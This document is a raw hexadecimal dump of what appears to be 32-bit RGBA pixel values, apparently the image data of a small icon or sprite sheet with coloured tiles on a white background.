FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF
BFFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0BFFFC0C0BFFFBFBFBFFFFFFFFFFF1C71C3FF009BFFFF0094FFFF0093
FFFF008FFFFF008EFFFF0093FFFF0093FFFF0093FFFF0093FFFF008BFFFF0093
FFFF0093FFFF0095FFFF009EFFFF4674A0FF60282AFF731010FF701011FF7110
12FF711112FF711112FF711112FF711112FF711112FF711112FF711112FF7010
11FF711011FF700F10FF730F10FF6A4E4EFFB4B4B4FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AFF3A2998FF330FD7FF320FD3FF3310
D3FF3310D3FF3311D2FF3311D2FF2F0CD1FF2F0CD1FF2F0CD1FF3210D2FF3310
D3FF3310D3FF320FD3FF330FDAFF564C8BFF215FBCFF066DFFFF086CFFFF0A67
FFFF0A95FFFF0A80FFFF0A5DFFFF0A6DFFFF0A6BFFFF0A53FFFF0AAEFFFF0A68
FFFF096BFFFF086AFFFF066FFFFF4B6D9DFF602828FF6D0F10FF6D1110FF6E12
11FF6E1213FF6E1213FF6E1213FF6E1213FF6E1011FF6E0D0DFF710504FF7C11
10FF770706FF700605FF6E0C0DFF6D4D4DFFBBBBBBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3B2899FF320FC9FF3211C7FF3310
C7FF3412C7FF3412C7FF2F0DC6FF5B41D2FF5136D0FF583ED1FF3919C9FF3310
C7FF3311C7FF3210C7FF310FCCFF55498CFF2450B8FF0855FFFF0B55FFFF0C55
FFFF0D42FFFF0DFFFFFF0D94FFFF0D35FFFF0D3BFFFF0DDBFFFF0DEBFFFF0D43
FFFF0C56FFFF0A55FFFF0857FFFF4B639CFF5F2525FF6C0D0EFF6D1010FF6E0F
11FF6E1110FF6E1110FF6E1110FF6D0F11FF721211FF783337FF3699B5FF2EAD
CCFF29C1E9FF47788EFF851713FF6A4949FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFBDECEBFF76E6E9FFFFFFFFFFD5C2A7FFFCFA
FBFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF3A2596FF2F0DC6FF3210C2FF3311
C4FF3411C3FF330FC3FF2804C0FFB6AAE8FFFFFFFFFFFBFBFDFF2500C0FF3310
C3FF320EC3FF300FC2FF300DC8FF564B8AFF2444B7FF0942FFFF0C42FFFF0E43
FFFF0D2FFFFF0FCCFFFF0FFFFFFF0FC2FFFF0FFBFFFF0FFFFFFF0F75FFFF0D3A
FFFF0E43FFFF0C41FFFF0942FFFF4B5C9AFF5F2525FF6B0B0AFF6C0E0EFF6D0F
0EFF6C1010FF6C0F0FFF6C0F0FFF6D0A0AFF68454BFF1CCAF7FF697D5DFF3461
0AFF49661BFF619395FF1ACAF4FF704947FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFBDCDB5FFB8D7CDFF00C9C8FF00DDD7FF64D0D2FFE3A36EFFD4DC
D3FFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF392493FF2E0BC4FF310EC2FF320E
C1FF300EC1FF2A07BFFF2804BEFF2C0AC0FFFFFFFFFF7A63D7FF2400BDFF2300
BCFF3716C3FF300BC0FF2F09C6FF564989FF253FB7FF0A39FFFF0D3AFFFF0D3B
FFFF0F2EFFFF1059FFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF100EFFFF0F3B
FFFF0E3BFFFF0C39FFFF093AFFFF4C5A9AFF5F2424FF6C0909FF6B0D0DFF6D0D
0DFF6C0E0EFF6E0F0FFF6E1010FF6E1010FF700405FF665336FF0E784CFFCED1
BBFFBCC4C2FF0C7D52FF862C1DFF694747FFBBBBBBFFF8F9FCFFFFFFFFFFD1DB
CEFF398221FF27BEB4FF86F1ECFF6B99C1FF3D55B8FFA4EDE2FF2DE0E7FFADBD
ABFFFFFFFFFFFFFFFFFFFBFBFDFF9E9E9EFF3A2592FF2E09C3FF310DC1FF320D
C0FF2100BBFFFFFFFFFF745DD5FF1C00BAFFF0EEFAFF3616C2FF664CD0FFF1F0
FAFF5437CBFF2B07BEFF2D09C5FF554988FF2641B7FF0C40FFFF0D3DFFFF0E2D
FFFF102EFFFF10E7FFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF10A4FFFF0F1A
FFFF0E38FFFF0C3BFFFF093CFFFF4C5B9AFF5D2020FF6F0C0CFF6A0B0BFF6401
01FF6A0400FF6E0D07FF6D0F0FFF6E1010FF70080BFF535A35FF14734AFFBFD0
C5FF6C8868FF157D52FF6E301AFF6A4748FFBBBEC2FFDEB889FFFFFFFFFF6B9B
57FF6E9F54FFFFFFFFFF2C92C7FFA483E6FF5F38D1FF5695D5FFE8FDF8FFE5C0
A4FFCDB492FFFFFFFFFFE6CAA6FF9EA1A2FF3A2494FF330CC5FF320DC0FF310E
C0FF1D00BAFFFFFFFFFFFFFFFFFFFFFFFFFFFCFCFDFFFFFFFFFFFFFFFFFFFFFF
FFFF4C2EC8FF2B07BFFF2E09C5FF554988FF2544B7FF0F44FFFF1138FFFF1181
FFFF0FFFFFFF0FFFFFFF0FFFFFFF10FFFFFF10FFFFFF10FFFFFF10FFFFFF0FFF
FFFF0E40FFFF0C37FFFF093BFFFF4C5B9AFF87778CFF650000FF7C1A13FFD4B2
A8FFAEC2FFFF745CB0FF6C0803FF6E1010FF70080CFF555C2FFF217558FFB3BD
ABFF618072FF1A7A42FF6F321EFF6A4748FFB1AEA9FFE5C8A1FFF2E9E3FF5087
2CFFB6CEC3FF15DFDCFF6164C3FFA086D7FF5D40C4FFAC7CD5FF00C8D1FF8DCE
C2FFDAAD8DFFFBFBFBFFE9D0AFFF9EA0A2FF3C2592FF370EC6FF3911C4FF3711
C2FF2300BDFFE0DBF5FF5438CAFF0800B4FFFAFAFCFF3311C1FF3E1EC4FFC4BB
ECFF5539CBFF2C07BFFF2D09C5FF554988FF2544B7FF1045FFFF1255FFFF14A9
FFFF158DFFFF1485FFFF11B0FFFF0EFFFFFF0FFFFFFF0F6DFFFF0F81FFFF0E8A
FFFF0D92FFFF0B2EFFFF0A3BFFFF4B5B9AFF917C89FFD6A99AFFB1BCFFFF6F5D
BBFF8C3431FF730400FF6F1111FF6C0E0EFF6F080BFF545837FF1A7644FF93A5
80FF85998FFF177841FF6E311FFF6A4748FFADA598FFF4F0EEFFFFE3D2FF85DD
DCFF0FD7DAFF2CFEFFFFAD5B36FF9F5C34FFAC5C30FFA44D23FF56D4D1FF00E4
E7FF49D2D3FFFCF7F8FFF0DCC8FF9EA0A1FF392196FF3307C7FF370BC4FF3A10
C4FF3E14C7FF2D03C1FF2E07C1FF3C1AC3FFFFFFFFFF9281DDFF2400BDFF2400
BCFF2B08BDFF2E0BBEFF2E09C4FF564988FF2644B7FF114BFFFF1347FFFF1640
FFFF1741FFFF173FFFFF1737FFFF18FFFFFF16CAFFFF152AFFFF153DFFFF163D
FFFF1540FFFF134BFFFF114FFFFF4C5B9AFF5355A9FF6B70F0FF6D6DE5FF7274
E6FF727AF6FF7665C5FF7A1008FF7A1717FF7C0E12FF5C673DFF238C52FF457D
39FF246533FF249450FF7D3E28FF6B4848FFBCBCBDFFFFFFFFFF38E0E2FF05DF
E1FF0DF0F4FF02E9EDFFFFFBFDFF37F9FEFF16F0F5FFFFFFFFFF3DE3E5FF06F7
FBFF08DADDFF03DCDFFFF0FFFFFFA19E9EFF5C458DFF7B5BD6FF7152D6FF603F
D1FF451EC8FF4015C7FF3508C4FFD5CDF2FFFFFFFFFFFFFFFFFF370EC5FF3A14
C5FF3D14C6FF3E12C7FF3E0FCDFF584988FF2545B7FF114FFFFF134DFFFF154E
FFFF174FFFFF174FFFFF1737FFFF17F7FFFF1785FFFF1746FFFF184FFFFF1650
FFFF154EFFFF134CFFFF104FFFFF4B5B9AFF4E50A8FF6A6EF0FF6767E3FF6466
E7FF6872F7FF7060C4FF801008FF7D1717FF7C1515FF8C282BFF912B2FFF8D2A
30FF8E2C2FFF8E282DFF841618FF6A4848FFC3BBBBFF6BE5E7FF39E7E8FF94EA
EBFFE4F5F4FFFFFAFAFFFFFFFFFF4AD6D7FF5DECEFFFFFFFFFFFFFFDFDFFF3F5
F4FFB0EFF0FF58E7E9FF1CDEE0FFA79E9EFF86563AFFFFF4D9FFBCB0F0FF3E10
C7FF5D38D1FF4014C7FF4317C8FF3608C5FF2F01C3FF3103C4FF4216C8FF4316
C9FF4215C9FF4013C9FF400FCFFF584989FF2143B6FF0A4DFFFF0C4CFFFF0E4D
FFFF0F4EFFFF0F4EFFFF0F43FFFF0FA6FFFF0F46FFFF0F4DFFFF0F4EFFFF0F4E
FFFF0E4DFFFF0C4CFFFF0950FFFF495998FF95828CFF784A8FFF9AA5FFFFE3CE
CFFFA44632FF790200FF7B1010FF7B1111FF7B1111FF7B0F0FFF7B0E0EFF7B0E
0EFF7B0D0DFF7A0B0BFF800909FF6A4747FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFEFEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF825340FFF8E8D9FFB6A6EFFF3E0D
CAFF5A30D2FF3E0ECAFF4111CBFF4111CBFF4111CBFF4111CBFF4111CBFF4111
CBFF4110CBFF3F0ECAFF410AD0FF554787FF2948C3FF396CFFFF3465FFFF3566
FFFF3766FFFF3766FFFF3766FFFF375DFFFF3764FFFF3766FFFF3766FFFF3766
FFFF3566FFFF3565FFFF366AFFFF5263ACFF927E8FFF8B1F16FF9C463DFF7658
A5FFB0BDFFFFC6A7B4FF8A2A28FF8E3333FF8E3333FF8E3333FF8E3333FF8E33
33FF8E3333FF8D3131FF8F3232FF765555FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF8A5C4AFFFBF0E3FFC1B5F2FF5731
D1FF7150D9FF5731D1FF5933D2FF5933D2FF5933D2FF5933D2FF5933D2FF5933
D2FF5933D2FF5831D0FF5A32D6FF635596FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0
C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFD4D4D4FFBCBCBDFFBCBDBDFFBCBD
BDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBD
BDFFBCBDBDFFBCBCBDFFBCBCBDFFDEDEDEFFBCC1C3FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA1A1FF4D903FFF52C937FF51C437FF52C5
37FF52C537FF52C537FF52C537FF52C537FF52C537FF52C537FF52C537FF52C5
37FF52C538FF51C437FF53CB38FF618559FF215B1FFF279800FF41CC00FF3DC7
02FF3CC201FF3CC401FF3CC301FF3CC301FF3CC301FF3CC301FF3CC401FF3BC2
01FF3BC302FF3BC301FF3BC800FF598847FF4071AFFF2F8AF1FF308BF1FF318B
F2FF318BF2FF318CF2FF318CF2FF318CF2FF318CF2FF318CF2FF318CF2FF318B
F2FF318BF2FF308BF1FF2E8AF1FF5A779BFF946046FFC16B41FFBF6A42FFBF6A
43FFBF6B43FFBF6B43FFBF6B43FFBF6B43FFBF6B43FFBF6B43FFBF6B43FFBF6B
43FFBF6A42FFBF6A41FFC36B42FF896B5EFF4C903DFF4BBE31FF4BBB33FF4CBC
34FF4CBC34FF4DBC34FF4DBC34FF4DBC34FF4DBC34FF4DBC34FF4DBC34FF4CBC
34FF4CBC33FF4BBB32FF4AC030FF608856FF209296FF009FA1FF093F03FF3083
00FF49BA07FF43B409FF42B009FF42B009FF42B009FF42B009FF42B009FF42AF
09FF42AF09FF41AF08FF40B206FF5A8646FF3B5EB2FF3167E8FF3368E8FF3469
E8FF3569E8FF3569E8FF3569E8FF3569E8FF3569E8FF3569E8FF3569E8FF3469
E8FF3469E8FF3368E8FF3166E8FF556A9AFF996D59FFCC8662FFC88563FFC886
64FFCA8764FFC98764FFC98764FFC98764FFC98764FFC98764FFC98764FFCA86
64FFC88662FFC88561FFCE8863FF8D7368FF489236FF46BF29FF47BD2AFF49BD
2BFF49BE2AFF49BE2CFF49BE2CFF49BE2CFF49BE2CFF49BE2CFF49BE2CFF49BD
2BFF49BD2BFF47BD2AFF46C129FF5D8754FF222D1FFF083F2DFF09B6D0FF068B
9AFF102A04FF377801FF4DB30BFF48A90DFF47A50DFF47A50DFF47A50DFF47A5
0DFF46A60CFF45A40AFF44A808FF5C8048FF3B47ABFF3245DDFF3447DEFF3548
DEFF3548DEFF3548DEFF3548DEFF3548DEFF3548DEFF3548DEFF3548DEFF3548
DEFF3548DEFF3446DEFF3144DDFF555E96FFC0C8CAFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A5A8FF387142FF2A8C3CFF2D8B3DFF2E8C
3EFF2D8C40FF2F8C3FFF2F8C3FFF2F8C3FFF2F8C3FFF2F8C3FFF2F8C3FFF2D8C
3EFF2E8C3EFF2B8B3CFF2B8D3DFF55755BFF242924FF090D04FF0B0000FF0D2E
2FFF0CB3DAFF0A7493FF141801FF3C7304FF51AB0EFF4CA10FFF4B9F0FFF4C9F
0DFF4A9F0EFF4A9E0CFF4AA109FF5F7C49FF3E369FFF372ACDFF392CCEFF3A2E
CEFF3B2FCEFF3B2FCEFF3B2FCEFF3B2FCEFF3B2FCEFF3B2FCEFF3B2FCEFF3B2E
CEFF3A2ECEFF392CCDFF3629CDFF56528EFF7C3020FFA01F00FF9C2000FF9E21
00FF9E2200FF9E2200FF9E2200FF9E2200FF9E2200FF9E2200FF9E2200FF9E22
00FF9E2100FF9C2000FFA11E00FF7A5047FFBDB8C0FFFFFFFFFFFBF7FBFFFBF7
FBFFFBF7FBFFFBF7FBFFFBF7FBFFFBF7FBFFFBF7FBFFFBF7FBFFFBF7FBFFFBF7
FBFFFBF7FBFFFBF7FBFFFFFFFFFFA09DA2FF252425FF080000FF124F5FFF188E
ABFF0D0000FF103C49FF0EB6E0FF0A6389FF171400FF407305FF488C07FF488A
06FF488A05FF468903FF468C00FF5D7347FF8B4023FFAE3A0AFFAF3C0DFFB140
12FFCA8061FFB03E10FFB03E10FFB03E10FFB03E10FFB03E10FFB64C22FFC672
51FFB03D0EFFAF3C0CFFAE3909FF825846FFAB9A92FFECCEC0FFEBCDBEFFECCD
C0FFEACEBFFFE8CCBEFFE9CEC1FFEBD2C5FFEBD2C5FFEBD2C5FFEBD2C5FFEBD1
C5FFEBD1C4FFEBD1C5FFF0D6C9FF978E8AFFBBBBB9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF242020FF146376FF135664FF1A9D
BDFF13404BFF0F0604FF100000FF103E4AFF0EABD3FF0B6385FF0A5170FF0953
70FF085170FF065170FF03506FFF47616BFF8B4123FFB03E0CFFAF3E0EFFB03E
0FFFBD5E39FFBC5B35FFB03E10FFB03E10FFB03E10FFB03E10FFC57151FFB448
1EFFAF3D0EFFAF3B0CFFAD3909FF825846FFBCBEBEFFFFFFFFFFE6EDF0FFE0E7
EAFFEAF0F1FFFFFFFFFFF7EDE8FFE5C6B7FFE6CABCFFE6CABCFFE6CABCFFE6C9
BDFFE6C9BBFFE6C9BCFFEECEC0FF968C86FFBBBBB9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF252020FF18859EFF164C59FF1966
77FF134955FF0E0401FF0F0000FF105C6EFF0EAECEFF0B5252FF0B443FFF0A45
41FF094440FF07443FFF04423DFF475C5BFF8C4323FFB2420EFFB34411FFB243
11FFB54A1FFFC57152FFBE603BFFB64E25FFB9532BFFCB8365FFBA5731FFB03E
10FFAF3D0EFFAF3B0CFFAD3909FF825846FFBEBCBCFFB7CACFFF4BACC0FF1BA3
BFFF9AC2C9FFF8FCFEFFDAA992FF9A1A00FF9F2300FF9F2400FF9F2400FF9F22
00FF9E2300FF9E2000FFA22100FF7B5047FFB2B2C2FFF5F6FFFFEDECFBFFEEEE
FBFFEEEEFBFFEEEEFBFFEEEEFBFFEDEEFBFFEDEDFBFFEDEDFBFFEDEDFBFFECED
FBFFECEDFBFFECEDFBFFF9F8FFFF9A9AA2FF252120FF14434DFF2095AFFF2185
9AFF150000FF145D6CFF0FBDE0FF08534FFF1A002BFF3914BBFF4018DBFF4018
D9FF4017D9FF3E14D7FF3D13DEFF5B4D91FF8C4424FFB34612FFB44815FFB54A
17FFB54A18FFB54B1CFFB75228FFC16B49FFC57455FFB1451BFFAF3E12FFAF3E
11FFAE3E10FFAE3C0EFFAD3B0CFF825847FFBCB8B8FF90C6D0FF18B1D0FF26B9
D6FF33A6BBFFE2E4E4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A7AAFF7B6B2CFFA08413FFB9A97AFFA890
3CFFA68E30FFA79039FFA79038FFA79038FFA79039FF9E8521FF9F8623FF9F86
23FF9F8522FF9F8621FFA68A1FFF7A704FFF262626FF100503FF110000FF154E
58FF15C3E2FF116361FF230B2EFF4821BCFF502AEAFF4C27DBFF4A26D8FF4A26
D8FF4A26D8FF4B25D8FF4D25DFFF5B4F8FFF33A3BAFF2CD7F7FF2FD8F7FF31D8
F8FF31D8F8FF31D8F8FF31D8F8FF31D8F8FF30D8F8FF2ED7F8FF2DD7F8FF2DD7
F8FF2ED7F8FF2DD7F7FF2BD7F7FF4F909DFFBEBBB9FFADD2DAFF1BA0B8FF1DB2
CFFF5BB7C7FFF6F4F6FFEBCFC0FFC88151FFCB875AFFCB875AFFCB885AFFCB86
5AFFCB8659FFCA8558FFD08958FF8A6F62FF8F7C20FFF2EAB9FFDACC6BFFBFA7
09FFC4AD18FFC5AF1FFFC5AF1EFFC5AF1EFFC5AF20FFC3AB12FFC4AB14FFC2AB
13FFC2AC12FFC3AA10FFC7AF0CFF867C48FF252020FF104B56FF11C2E0FF0F6A
6BFF210B28FF4721B6FF542CEBFF512BDDFF502BDAFF502BDAFF502BDAFF502B
DAFF4F2ADAFF4D28D8FF4E25DFFF5B4E8FFF33A4BAFF2ED8F8FF30D9F8FF32D9
F8FF33D9F8FF33D9F8FF33D9F8FF33D9F8FF33D9F8FF33D9F8FF33D9F8FF33D9
F8FF32D9F8FF30D9F8FF2DD8F8FF4F919DFFBCBCBCFFF4F3F3FFC2D9DDFF77B4
C0FFEDE7E5FFFFFFFFFFE9CAB8FFC4723FFFC77948FFC77948FFC77949FFC77A
47FFC77A48FFC77945FFCC7B46FF856959FF8D7B1FFFF8F4D5FFCEBB42FFC0A8
08FFC1A90EFFC6B227FFC7B124FFC7B124FFC7B126FFC1AA0FFFC2AB11FFC2AB
11FFC2AB10FFC0A90EFFC7AE0AFF857B47FF228FA3FF067075FF19041EFF441B
ACFF5529EDFF5128DEFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4E27
DAFF4E26DAFF4D24DAFF4E23E1FF5A4D8EFF33A4BAFF2ED9F9FF30D9F9FF32D9
F9FF32DAF9FF33DAF9FF33DAF9FF33DAF9FF33DAF9FF33DAF9FF33DAF9FF32D9
F9FF32D9F9FF30D9F9FF2DD9F9FF4E919EFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEB0B2FF96862DFFCFBA3BFFE6DCA4FFCDB7
3DFFCAB532FFCAB32FFFD0BD4EFFD0BD4CFFD0BD4EFFCAB431FFCAB533FFCAB5
33FFCAB533FFCBB531FFCDB732FF938955FF342C3DFF5837AEFF6944F2FF6644
E5FF6445E0FF6444E0FF6444E0FF6444E0FF6444E0FF6444E0FF6444E0FF6445
E0FF6343E0FF6342E0FF6644E2FF675B9DFF42A1B4FF40D3EFFF41D4F0FF42D4
F0FF42D4F0FF42D4F0FF42D4F0FF42D4F0FF42D4F0FF42D4F0FF42D4F0FF42D4
F0FF41D4F0FF41D3F0FF3ED2EFFF5F9BA7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
